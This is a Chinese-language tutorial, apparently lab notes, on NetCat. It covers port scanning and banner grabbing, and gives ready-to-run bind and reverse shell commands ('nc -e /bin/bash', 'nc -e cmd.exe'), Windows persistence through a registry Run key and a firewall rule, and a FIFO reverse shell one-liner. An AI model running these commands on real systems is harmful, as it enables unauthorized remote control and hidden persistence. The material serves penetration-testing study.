一.NetCat介绍
1995年第一个版本公布,NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end)工具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。NetCat,它的实际可运行的名字叫nc,应该早很就被提供,就象另一个没有公开但是标准的Unix工具。有gnu版本和 windows下的运行版本, 这里仅介绍unix版的。
二.NetCat的功能
- 聊天,信息的交流
- 传输文件
- Banner获取
- 端口扫描
- 对远程计算机进行控制
三.NetCat的基本使用
NC有两种模式
- 客户端模式
nc 主机IP地址 端口号
- 服务器模式
nc -lvnp 4444
-l 监听模式
-v 详细信息
-n 不进行DNS解析
-p 指定端口
python -m http.server 8080
通过python3快速搭建一个web服务器来下载nc.exe 到主机上
NC 进行信息取证
服务端
nc -lvnp 4444 >> ncTest
客户端
nc 127.0.0.1 4444 -q 1
-q 1 等待1秒后自动断开
nc传输文件
接收端
nc -lvnp 4444 > whoami.exe
发送端
nc 192.168.138.3 4444 < whoami,exe
NC 扫描
nc -v -w 2 172.30.1.132 1-65535
-w 一个连接一段时间无操作,则自动断开
-v 详细报告
-z 只监听不发送任何包
-u 标识使用UDP协议,默认是tcp模式
使用脚本配合nc扫描
# !/bin/bash
while read r
do
nc -nv -w 2 -z $r 1-1000
done
批量ip文件扫描
nmap -sn -oG nampData.txt 172.30.1.0/24 -exclude 172.30.1.3,172.30.1.254,172.30.1.1
排除自己和网关和DHCP服务器
grep "Up" nmapData.txt | awk '{print $2}' > nc_ip.txt
cat nc_ip.txt | ./nc_scan.sh
NC抓取Banner
nc -nv 172.30.1.132 21
通过nc去连接目标的指定端口,来获取banner信息
类似Nmap的 -sV 选项
NC抓取web服务Banner
nc -nv 172.30.1.132 80
HEAD / HTTP1.1/
GET / HTTP1.1/
HEAD :获取头部信息
GET :整个请求信息
正向shell和反向shell
正向shell
正向shell是指攻击方主动去连接受害者,通常用于攻击方处于内网中,受害者处于公网中,和受害者没有开启防火墙时
反向shell
反向shell是指受害者主动去连接攻击方,通常用于受害者处于内网中,攻击方处于公网中,或受害者开启了防火墙(防火墙一般情况只会拦截进入的流量,不会拦截输出的流量)
对远程计算机进行控制
nc获取win10 shell
正向shell
kail 作为攻击方连接 windows 10
win10
nc -lvnp 4444 -e cmd.exe
-e 执行给定的命令
kail
nc -nv 172.30.1.131 4444
改变win10cmd的编码格式
chcp 65001
nc获取msf shell
正向shell
kail 作为攻击方 msf 作为受害者
msf
nc -lvnp 4444 -e /bin/bash
kail
nc -nv 172.30.1.132 4444
通过python获取一个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
反向shell
kail 作为攻击方 msf 作为受害者
kail
nc -lvnp 4444
msf
nc -nc 172.30.1.3 4444 -e /bin/bash
通过python获取一个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
NC对windows进行持续访问
思路
1.将下面命令写入到windows的注册表的RUN位置(开机自动运行) 处
nc.exe -Ldp 4444 -e cmd.exe
-L 持续监听 (windows中才有的参数)
-d 后台模式 (windows中才有的参数)
2. 在防火墙中放行相应的端口
注册表RUN的位置
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
windows命令添加注册表开机自启动
reg.exe ADD HKLM\software\microsoft\windows\currentversion\run /v netcat /t REG_SZ /d "C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe" /f
reg.exe ADD 添加一个注册表选项
-v 创建键
-t 键值类型,REG_SZ(字符串类型)
-d 键值的值
-f 强制修改注册表项
windows命令添加防火墙放行端口
netsh advfirewall firewall add rule name ='netcat' dir=in action=allow protocol=Tcp localport=4444
查看防火墙开放的端口
netsh firewall show portopening
netsh advfirewall firewall add rule 添加防火墙放行规则
name 规则名称
dir=in 入栈流量
action=allow 放行所有流量
protocol=Tcp 协议
localport=4444 放行端口
重启win10,用nc连接win10
反弹shell的liunx中的其他方式FIFO管道文件文件
FIFO文件概述
管道因为没有名称,所以只用于进程间的亲缘通信。为了克服这一缺点,提出了命名管道(FIFO),又称命名管道、FIFO文件。
FIFO不同于无名管道,它提供与之关联的路径名,该路径名以FIFO文件的形式存在于文件系统中。这样,即使进程与FIFO的创建进程没有亲属关系,只要能够访问路径,就可以通过FIFO相互通信。不相关的过程也可以通过FIFO交换数据。
FIFO 在文件系统中作为一个特殊的文件而存在。虽然FIFO文件存放在文件系统中,但是FIFO 中的内容却存放在内存中。当使用 FIFO 的进程退出后,FIFO 文件将继续保存在文件系统中以便以后使用
liunx的重定向输入输出
liunx的重定向输入输出,0< 等同于< (标准输入),1>等同于> (标准正确输出),2> (标准错误输出)
FIFO文件的基本操作
命令 | 说明 |
---|---|
mkfifo /tmp/mkfifoTest | 创建一个mkfifo管道文件 |
mknod /tmp/mkfifoTest p | 创建一个mkfifo管道文件 |
mkfifo /tmp/mkfifoTest
创建一个FIFO管道文件
p标识是个管道文件标识
mknod /tmp/mknodTest p
创建一个FIFO管道文件
p 选项表示创建一个管道文件
使用FiFO文件获取反向shell
rm -rf /tmp/test123;mkfifo /test/test123; cat /tmp/test123 | sh -i 2>&1 | nc 172.30.1.3 4444 > /tmp/test123; rm -rf /tmp/test123
sh -i
: 实现脚本交互
2>&1
:输出重定向,2>标准错误输出 >标准正确输出 ,将标准正确输出和标准错误输出都重定向,&
引用,&1
引用前一个